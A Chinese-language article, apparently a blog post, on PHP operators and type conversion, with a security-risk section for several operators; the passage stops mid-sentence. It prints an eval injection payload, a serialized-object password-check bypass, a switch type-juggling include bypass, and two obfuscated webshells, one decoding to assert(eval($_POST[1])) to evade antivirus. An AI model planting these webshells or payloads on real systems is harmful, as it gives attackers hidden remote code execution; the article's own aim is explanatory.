概述
catalog
0. 引言 1. PHP operator introduction 2. 算术运算符 3. 赋值运算符 4. 位运算符 5. 执行运算符 6. 递增/递减运算符 7. 数组运算符 8. 类型运算符 9. PHP自动类型转换 10. 浮点数运算中的精度损失 11. 比较运算符
0. 引言
本文试图讨论PHP中因为运算符导致的各种安全问题/风险/漏洞,其他很多本质上并不能算PHP本身的问题,而更多时候在于PHP程序员对语言本身的理解以及对安全编码规范的践行,我们逐个讨论PHP中的运算符相关知识原理,并在每一个小节中分别讨论与此相关的安全问题
Relevant Link:
http://www.freebuf.com/news/67007.html http://php.net/manual/zh/language.operators.php
1. PHP operator introduction
运算符是可以通过给出的一或多个值来产生另一个值(因而整个结构成为一个表达式)的语法结构,运算符可按照其能接受几个值来分组
1. 一元运算符只能接受一个值,例如 1) !(逻辑取反运算符) 2)_ ++(递增运算符) 2. 二元运算符可接受两个值,例如 1)算术运算符 +(加)和 -(减),大多数 PHP 运算符都是这种 3. 三元运算符,例如 1) ? :,可接受三个值;通常就简单称之为"三元运算符"
0x1: 运算符优先级
运算符优先级指定了两个表达式绑定得有多"紧密"。例如,表达式 1 + 5 * 3 的结果是 16 而不是 18 是因为乘号("*")的优先级比加号("+")高。必要时可以用括号来强制改变优先级。例如:(1 + 5) * 3 的值为 18
如果运算符优先级相同,其结合方向决定着应该从右向左求值,还是从左向右求值——见下例,下表按照优先级从高到低列出了运算符。同一行中的运算符具有相同优先级,此时它们的结合方向决定求值顺序
结合方向 | 运算符 | 附加信息 |
---|---|---|
无 | clone new | clone 和 new |
左 | [ | array() |
右 | ++ -- ~ (int) (float) (string) (array) (object) (bool) @ | 类型和递增/递减 |
无 | instanceof | 类型 |
右 | ! | 逻辑运算符 |
左 | * / % | 算术运算符 |
左 | + - . | 算术运算符和字符串运算符 |
左 | << >> | 位运算符 |
无 | == != === !== <> | 比较运算符 |
左 | & | 位运算符和引用 |
左 | ^ | 位运算符 |
左 | | | 位运算符 |
左 | && | 逻辑运算符 |
左 | || | 逻辑运算符 |
左 | ? : | 三元运算符 |
右 | = += -= *= /= .= %= &= |= ^= <<= >>= => | 赋值运算符 |
左 | and | 逻辑运算符 |
左 | xor | 逻辑运算符 |
左 | or | 逻辑运算符 |
左 | , | 多处用到 |
对具有相同优先级的运算符,左结合方向意味着将从左向右求值,右结合方向则反之。对于无结合方向具有相同优先级的运算符,该运算符有可能无法与其自身结合。举例说,在 PHP 中 1 < 2 > 1 是一个非法语句,而 1 <= 1 == 1 则不是。因为 T_IS_EQUAL 运算符的优先级比 T_IS_SMALLER_OR_EQUAL 的运算符要低
0x2: security risk
尽管 = 比其它大多数的运算符的优先级低,PHP 仍旧允许类似如下的表达式:if (!$a = foo()),在此例中 foo() 的返回值被赋给了 $a,这导致了一种可能的安全风险
很多网站的模版系统采用这种方式进行模版标签、动态模版变量的注册
eval("$rs2[title]="$rs2[title]";");
这在大多数正常情况下是没有问题的,但是黑客可以通过注入一个"动态执行函数字符串"来实现函数动态执行,例如: ${@fwrite(fopen('ali.php', 'w+'), 'test’)} 这种语法
这样在eval中原本的赋值操作就会变成函数执行后,将返回结果赋值给变量,从而达到了黑客注入代码执行的目的
0x3: 安全编码规范
在编码中,如果一定要使用eval进行模版变量的本地化注册,则最好使用单引号而不是双引号将用于赋值的对象包裹起来,因为单引号是不具有动态函数执行的能力的
Relevant Link:
http://php.net/manual/zh/language.operators.precedence.php
2. 算术运算符
例子 | 名称 | 结果 |
---|---|---|
-$a | 取反 | $a 的负值。 |
$a + $b | 加法 | $a 和 $b 的和。 |
$a - $b | 减法 | $a 和 $b 的差。 |
$a * $b | 乘法 | $a 和 $b 的积。 |
$a / $b | 除法 | $a 除以 $b 的商。 |
$a % $b | 取模 | $a 除以 $b 的余数。 |
需要明白的是
1. 除法运算符总是返回浮点数。只有在下列情况例外 1) 两个操作数都是整数(或字符串转换成的整数) 2) 并且正好能整 这时它返回一个整数 2. 取模运算符的操作数在运算之前都会转换成整数(除去小数部分) 3. 取模运算符 % 的结果和被除数的符号(正负号)相同。即 $a % $b 的结果和 $a 的符号相同
Relevant Link:
http://php.net/manual/zh/language.operators.arithmetic.php
3. 赋值运算符
基本的赋值运算符是"="。一开始可能会以为它是"等于",其实不是的。它实际上意味着把右边表达式的值赋给左边的运算数(本质是一个运算数)
赋值运算表达式的值也就是所赋的值。也就是说,"$a = 3"的值是 3。这样就可以做一些小技巧
<?php $a = ($b = 4) + 5; // $a 现在成了 9,而 $b 成了 4。 ?>
0x1: security risk
在 PHP 中普通的传值赋值行为有个例外就是碰到对象 object 时,在 PHP 5 中是以引用赋值的,除非明确使用了 clone 关键字来拷贝,PHP 支持引用赋值,使用“$var = &$othervar;”语法。引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西
<?php $a = 3; $b = &$a; // $b 是 $a 的引用 print "$an"; // 输出 3 print "$bn"; // 输出 3 $a = 4; // 修改 $a print "$an"; // 输出 4 print "$bn"; // 也输出 4,因为 $b 是 $a 的引用,因此也被改变 ?>
PHP的引用赋值的这个特定会带来一个安全隐患,黑客有可能在不知道目标变量实际值的情况下,传入目标变量的引用,以此实现绕过密码判断逻辑的目的,思考下面这段示例代码
<?php class just4fun { var $enter; var $secret; } if (isset($_GET['pass'])) { $pass = $_GET['pass']; if(get_magic_quotes_gpc()) { $pass=stripslashes($pass); } $o = unserialize($pass); if ($o) { $o->secret = "hack for fun!!"; if ($o->secret === $o->enter) { echo "Congratulation! Here is my secret: ".$o->secret; } } else { echo "Oh no... You can't fool me"; } else echo "are you trolling?"; } ?>
黑客可通过在传入的序列化对象中,将$o->enter = $o->secret,以此实现引用赋值,来绕过密码判断逻辑
Relevant Link:
http://drops.wooyun.org/papers/660 http://php.net/manual/zh/language.operators.assignment.php
4. 位运算符
位运算符允许对整型数中指定的位进行求值和操作
例子 | 名称 | 结果 |
---|---|---|
$a & $b | And(按位与) | 将把 $a 和 $b 中都为 1 的位设为 1。 |
$a | $b | Or(按位或) | 将把 $a 和 $b 中任何一个为 1 的位设为 1。 |
$a ^ $b | Xor(按位异或) | 将把 $a 和 $b 中一个为 1 另一个为 0 的位设为 1。 |
~ $a | Not(按位取反) | 将 $a 中为 0 的位设为 1,反之亦然。 |
$a << $b | Shift left(左移) | 将 $a 中的位向左移动 $b 次(每一次移动都表示“乘以 2”)。 |
$a >> $b | Shift right(右移) | 将 $a 中的位向右移动 $b 次(每一次移动都表示“除以 2”)。 |
位移在 PHP 中是数学运算。向任何方向移出去的位都被丢弃
1. 左移时右侧以零填充,符号位被移走意味着正负号不被保留 2. 右移时左侧以符号位填充,意味着正负号被保留 //要注意数据类型的转换。如果左右参数都是字符串,则位运算符将对字符的 ASCII 值进行操作,我们在之后的数据类型隐式转换中还会再次详细讨论PHP这个特性
0x1: security risk
从本质上来说,位运算符可以理解为一种"加密变换"处理,黑客可以利用位运算符对字符串的处理对WEBSHELL代码进行加密,从而躲避本地anti-virus的查杀
WEBSHELL代码 <?php $x = ~"žŒŒš‹"; $y = ~"—–‘™×Ö"; $x($y); ?> 生成原理 <?php echo ~"assert"; echo ~"phpinfo()"; ?> //注意这个文件一定要保存为ANSI格式
Relevant Link:
http://php.net/manual/zh/language.operators.bitwise.php http://www.cnblogs.com/LittleHann/p/3522990.html
5. 执行运算符
PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为外壳命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符"`"的效果与函数 shell_exec() 相同
<?php $output = `ls -al`; echo "<pre>$output</pre>"; ?>
需要注意的是,反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的
0x1: security risk
黑客可以利用PHP中对反引号命令解析的这个特性,部署WEBSHELL
Relevant Link:
http://php.net/manual/zh/language.operators.execution.php http://www.cnblogs.com/LittleHann/p/3522990.html
6. 递增/递减运算符
PHP 支持 C 风格的前/后递增与递减运算符
例子 | 名称 | 效果 |
---|---|---|
++$a | 前加 | $a 的值加一,然后返回 $a。 |
$a++ | 后加 | 返回 $a,然后将 $a 的值加一。 |
--$a | 前减 | $a 的值减一, 然后返回 $a。 |
$a-- | 后减 | 返回 $a,然后将 $a 的值减一。 |
递增/递减运算符不影响布尔值。递减 NULL 值也没有效果,但是递增 NULL 的结果是 1,在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如
1. 在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA', 2. 在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91) //注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化
涉及字符变量的算数运算
<?php $i = 'W'; for ($n=0; $n<6; $n++) { echo ++$i . "n"; } ?> 以上例程会输出: X Y Z AA AB AC //递增或递减布尔值没有效果
0x1: security risk
利用PHP对字符串的自增操作的特性,黑客可以动态进行WEBSHELL字符串的拼接,从而躲避基于特征检查的anti-virus
<?php $_=""; $_[+$_]++; $_=$_.""; $___=$_[+""];//A $____=$___; $____++;//B $_____=$____; $_____++;//C $______=$_____; $______++;//D $_______=$______; $_______++;//E $________=$_______; $________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O $_________=$________; $_________++;$_________++;$_________++;$_________++;//S $_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______; $________++;$________++;$________++;//R $_____=$_________; $_____++;//T $__=$___.$_________.$_________.$_______.$________.$_____; $__($_("ZXZhbCgkX1BPU1RbMV0p")); //ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p")); //ASSERT("eval($_POST[1])"); //key:=1 ?>
Relevant Link:
http://www.cnblogs.com/LittleHann/p/3522990.html http://php.net/manual/zh/language.operators.increment.php
7. 数组运算符
例子 | 名称 | 结果 |
---|---|---|
$a + $b | 联合 | $a 和 $b 的联合。 |
$a == $b | 相等 | 如果 $a 和 $b 具有相同的键/值对则为 TRUE 。 |
$a === $b | 全等 | 如果 $a 和 $b 具有相同的键/值对并且顺序和类型都相同则为 TRUE 。 |
$a != $b | 不等 | 如果 $a 不等于 $b 则为 TRUE 。 |
$a <> $b | 不等 | 如果 $a 不等于 $b 则为 TRUE 。 |
$a !== $b | 不全等 | 如果 $a 不全等于 $b 则为 TRUE 。 |
"+"运算符把右边的数组元素附加到左边的数组后面,两个数组中都有的键名,则只用左边数组中的,右边的被忽略
<?php $a = array("a" => "apple", "b" => "banana"); $b = array("a" => "pear", "b" => "strawberry", "c" => "cherry"); $c = $a + $b; // Union of $a and $b echo "Union of $a and $b: n"; var_dump($c); $c = $b + $a; // Union of $b and $a echo "Union of $b and $a: n"; var_dump($c); ?> 执行后,此脚本会显示: Union of $a and $b: array(3) { ["a"]=> string(5) "apple" ["b"]=> string(6) "banana" ["c"]=> string(6) "cherry" } Union of $b and $a: array(3) { ["a"]=> string(4) "pear" ["b"]=> string(10) "strawberry" ["c"]=> string(6) "cherry" }
数组中的单元如果具有相同的键名和值则比较时相等
<?php $a = array("apple", "banana"); $b = array(1 => "banana", "0" => "apple"); var_dump($a == $b); // bool(true),值相等 var_dump($a === $b); // bool(false),键值都必须相等 ?>
Relevant Link:
http://php.net/manual/zh/language.operators.array.php
8. 类型运算符
instanceof 用于确定一个 PHP 变量是否属于某一类 class 的实例
<?php class MyClass { } class NotMyClass { } $a = new MyClass; var_dump($a instanceof MyClass); var_dump($a instanceof NotMyClass); ?> 以上例程会输出: bool(true) bool(false)
instanceof 也可用来确定一个变量是不是继承自某一父类的子类的实例
<?php class ParentClass { } class MyClass extends ParentClass { } $a = new MyClass; var_dump($a instanceof MyClass); var_dump($a instanceof ParentClass); ?> 以上例程会输出: bool(true) bool(true)
Relevant Link:
http://php.net/manual/zh/language.operators.type.php
9. PHP自动类型转换
0x1: 类型转换的判别
PHP 在变量定义中不需要(或不支持)明确的类型定义;变量类型是根据使用该变量的上下文所决定的。也就是说,如果把一个 string 值赋给变量 $var,$var 就成了一个 string。如果又把一个integer 赋给 $var,那它就成了一个integer
PHP 的自动类型转换的一个例子是加法运算符"+"
//转换原则 1. 如果任何一个操作数是float,则所有的操作数都被当成float,结果也是float 2. 否则操作数会被解释为integer,结果也是integer //注意这并没有改变这些操作数本身的类型;改变的仅是这些操作数如何被求值以及表达式本身的类型
看下列的示例代码
<?php $foo = "0"; // $foo 是字符串 (ASCII 48) $foo += 2; // $foo 现在是一个整数 (2) $foo = $foo + 1.3; // $foo 现在是一个浮点数 (3.3) $foo = 5 + "10 Little Piggies"; // $foo 是整数 (15) $foo = 5 + "10 Small Pigs"; // $foo 是整数 (15) ?>
自动转换为 数组 的行为目前没有定义。此外,由于 PHP 支持使用和数组下标同样的语法访问字符串下标
<?php $a = 'car'; // $a is a string $a[0] = 'b'; // $a is still a string echo $a; // bar ?>
0x2: 类型强制转换
PHP 中的类型强制转换和 C 中的非常像:在要转换的变量之前加上用括号括起来的目标类型
1. (int), (integer) - 转换为整形 integer 2. (bool), (boolean) - 转换为布尔类型 boolean 3. (float), (double), (real) - 转换为浮点型 float 4. (string) - 转换为字符串 string 5. (array) - 转换为数组 array 6. (object) - 转换为对象 object 7. (unset) - 转换为 NULL (PHP 5)
Relevant Link:
http://php.net/manual/zh/language.types.type-juggling.php
0x3: 转换为布尔值
要明确地将一个值转换成 boolean,用 (bool) 或者 (boolean) 来强制转换。但是很多情况下不需要用强制转换,因为当运算符,函数或者流程控制结构需要一个 boolean 参数时,该值会被自动转换
1. 当转换为 boolean 时,以下值被认为是 FALSE 1) 布尔值 FALSE 本身 2) 整型值 0(零) 3) 浮点型值 0.0(零) 4) 空字符串,以及字符串 "0" 5) 不包括任何元素的数组 6) 不包括任何成员变量的对象(仅 PHP 4.0 适用) 7) 特殊类型 NULL(包括尚未赋值的变量) 8) 从空标记生成的 SimpleXML 对象 2. 当转换为 boolean 时,以下值被认为是 TRUE 1) 除上述之外所有其它值都被认为是 TRUE(包括任何资源) 2) -1 和其它非零值(不论正负)一样,被认为是 TRUE
代码示例
<?php var_dump((bool) ""); // bool(false) var_dump((bool) 1); // bool(true) var_dump((bool) -2); // bool(true) var_dump((bool) "foo"); // bool(true) var_dump((bool) 2.3e5); // bool(true) var_dump((bool) array(12)); // bool(true) var_dump((bool) array()); // bool(false) var_dump((bool) "false"); // bool(true) ?>
Relevant Link:
http://php.net/manual/zh/language.types.boolean.php#language.types.boolean.casting
0x4: 从布尔值转换为整型
要明确地将一个值转换为 integer,用 (int) 或 (integer) 强制转换。不过大多数情况下都不需要强制转换,因为当运算符,函数或流程控制需要一个 integer 参数时,值会自动转换。还可以通过函数 intval() 来将一个值转换成整型
从布尔值转换: FALSE 将产生出 0(零),TRUE 将产生出 1(壹)
0x5: 从浮点型转换为整型
从浮点型转换: 当从浮点数转换成整数时,将向下取整,如果浮点数超出了整数范围(32 位平台下通常为 +/- 2.15e+9 = 2^31,64 位平台下通常为 +/- 9.22e+18 = 2^63),则结果为未定义,因为没有足够的精度给出一个确切的整数结果。在此情况下没有警告,甚至没有任何通知,决不要将未知的分数强制转换为 integer,这样有时会导致不可预料的结果
<?php echo (int) ( (0.1+0.7) * 10 ); // 显示 7! ?> //详细的原理分析见下节:浮点数运算中的精度损失
浮点型(也叫浮点数 float,双精度数 double 或实数 real)可以用以下任一语法定义
<?php $a = 1.234; $b = 1.2e3; $c = 7E-10; ?>
浮点数的形式表示
LNUM [0-9]+ DNUM ([0-9]*[.]{LNUM}) | ({LNUM}[.][0-9]*) EXPONENT_DNUM [+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM}) //浮点数的字长和平台相关
0x6: 转换为字符串
1. 一个值可以通过在其前面加上 (string) 或用 strval() 函数来转变成字符串 2. 在一个需要字符串的表达式中,会自动转换为 string。比如在使用函数 echo 或 print 时,或在一个变量和一个 string 进行比较时,就会发生这种转换 3. 一个布尔值 boolean 的 TRUE 被转换成 string 的 "1"。Boolean 的 FALSE 被转换成 ""(空字符串)。这种转换可以在 boolean 和 string 之间相互进行 4. 一个整数 integer 或浮点数 float 被转换为数字的字面样式的 string(包括 float 中的指数部分)。使用指数计数法的浮点数(4.1E+6)也可转换 5. 数组 array 总是转换成字符串 "Array",因此,echo 和 print 无法显示出该数组的内容。要显示某个单元,可以用 echo $arr['foo'] 这种结构。要显示整个数组内容见下文 5. 在 PHP 4 中对象 object 总是被转换成字符串 "Object",如果为了调试原因需要打印出对象的值,请继续阅读下文。为了得到对象的类的名称,可以用 get_class() 函数。自 PHP 5 起,适当时可以用 __toString 方法。 6. 资源 resource 总会被转变成 "Resource id #1" 这种结构的字符串,其中的 1 是 PHP 在运行时分配给该 resource 的唯一值。不要依赖此结构,可能会有变更。要得到一个 resource 的类型,可以用函数 get_resource_type()
数组array转换为字符串时得到的结果为"array"这个特性,常常被黑客利用进行WEBSHELL的变形隐藏,看下面的代码示例
<?php //声明一个字符串 $_=""; var_dump($_); /* []括号内使用了加法运算符,将字符串强转为了整型0,即$_[0]++,$_ = array(0 => "1") */ $_[+$_]++; var_dump($_); //因为字符串拼接运算符的原因,$_数组被强制转换为了字符串,输出Array字符 $_=$_.""; var_dump($_); //$_ = "Array" ?>
0x6: 从字符串转换为整型
当一个字符串被当作一个数值来取值,其结果和类型如下
1. 如果该字符串没有包含 '.','e' 或 'E' 并且其数字值在整型的范围之内(由 PHP_INT_MAX 所定义),该字符串将被当成 integer 来取值。其它所有情况下都被作为 float 来取值 2. 该字符串的开始部分决定了它的值 1) 如果该字符串以合法的数值开始,则使用该数值 2) 否则其值为 0(零) //合法数值由可选的正负号,后面跟着一个或多个数字(可能有小数点),再跟着可选的指数部分。指数部分由 'e' 或 'E' 后面跟着一个或多个数字构成
代码示例
<?php $foo = 1 + "10.5"; // $foo is float (11.5) $foo = 1 + "-1.3e3"; // $foo is float (-1299) $foo = 1 + "bob-1.3e3"; // $foo is integer (1) $foo = 1 + "bob3"; // $foo is integer (1) $foo = 1 + "10 Small Pigs"; // $foo is integer (11) $foo = 4 + "10.2 Little Piggies"; // $foo is float (14.2) $foo = "10.0 pigs " + 1; // $foo is float (11) $foo = "10.0 pigs " + 1.0; // $foo is float (11) ?>
PHP中字符串转换为整型数是一个相对来说比较复杂的情况,这其中涉及到PHP底层的C代码的处理方式,我们接下来重点讨论几种比较容易存在安全风险和BYPASS的转换方式,以及规避这种风险的方法
1. "ASCII字符串"和"纯整型数字(不包括科学记数法('e'、'E')、浮点小数'.'的double、float)"混合情况下转换为整型 2. "ASCII字符串"和"整型数字(可能包括"e"、"E"字符)"混合情况下转换为整型 3. "ASCII"字符串和"纯浮点型数字(科学记数法、浮点小数'.'的double、float)"混合情况下转换为浮点型
它们分别对应于UNIX C函数库中的API函数
#include <stdlib.h> 1. strtod(): 字符串 -> 浮点型 2. strtol(): 字符串 -> 整型
1. "ASCII字符串"和"纯整型数字(不包括科学记数法('e'、'E')、浮点小数'.'的double、float)"混合情况下转换为整型
要理解PHP如何处理将数字字母字符串混合体转换为整型数,我们必须要理解PHP对应的底层处理逻辑,如果该字符串没有包含 '.','e' 或 'E' 并且其数字值在整型的范围之内(由 PHP_INT_MAX 所定义),该字符串将被当成 integer 来取值
<?php $foo = 1 + "10.5"; // $foo is float (11.5) ?>
2. "ASCII字符串"和"整型数字(可能包括"e"、"E"字符)"混合情况下转换为整型
在这种场景下,PHP的转换方式分为几种
1. 字符串以ASCII字母开头: 转换结果为0 2. 字符串以数字开头,到某一位遇到ASCII字符,则截取到纯数字为止,之后的ASCII字符忽略
示例代码
<?php $foo = 1 + "bob-1.3e3"; // $foo is integer (1) var_dump("08c6a51dde006e64aed953b94fd68f0c" == 8); //true ?>
在这种情况下,可能带来一些潜在的安全绕过问题,看下列的示例代码
<?php if (isset($_GET['which'])) { $which = $_GET['which']; switch ($which) { case 0: case 1: case 2: require_once $which.'.php'; break; default: echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false); break; } } ?> //xxx?which=solution可以成功
因为switch的关系,黑客提交的字符串"solution"被转换为整型数字0
3. "ASCII"字符串和"纯浮点型数字(科学记数法、浮点小数'.'的double、float)"混合情况下转换为浮点型
函数 strtod() 用来将字符串转换成双精度浮点数(double)
/* 1. str: 要转换的字符串,参数 str 字符串可包含正负号、小数点或E(e)来表示指数部分。如123. 456 或123e-2 2. endstr: 第一个不能转换的字符的指针,若endptr 不为NULL,则会将遇到的不符合条件而终止的字符指针由 endptr 传回;若 endptr 为 NULL,则表示该参数无效,或不使用该参数 【返回值】返回转换后的浮点型数;若不能转换或字符串为空,则返回 0.0 */ double strtod (const char* str, char** endptr);
strtod() 函数会扫描参数str字符串,跳过前面的空白字符(例如空格,tab缩进等,可以通过 isspace() 函数来检测),直到遇上数字或正负符号才开始做转换,到出现非数字或字符串结束时('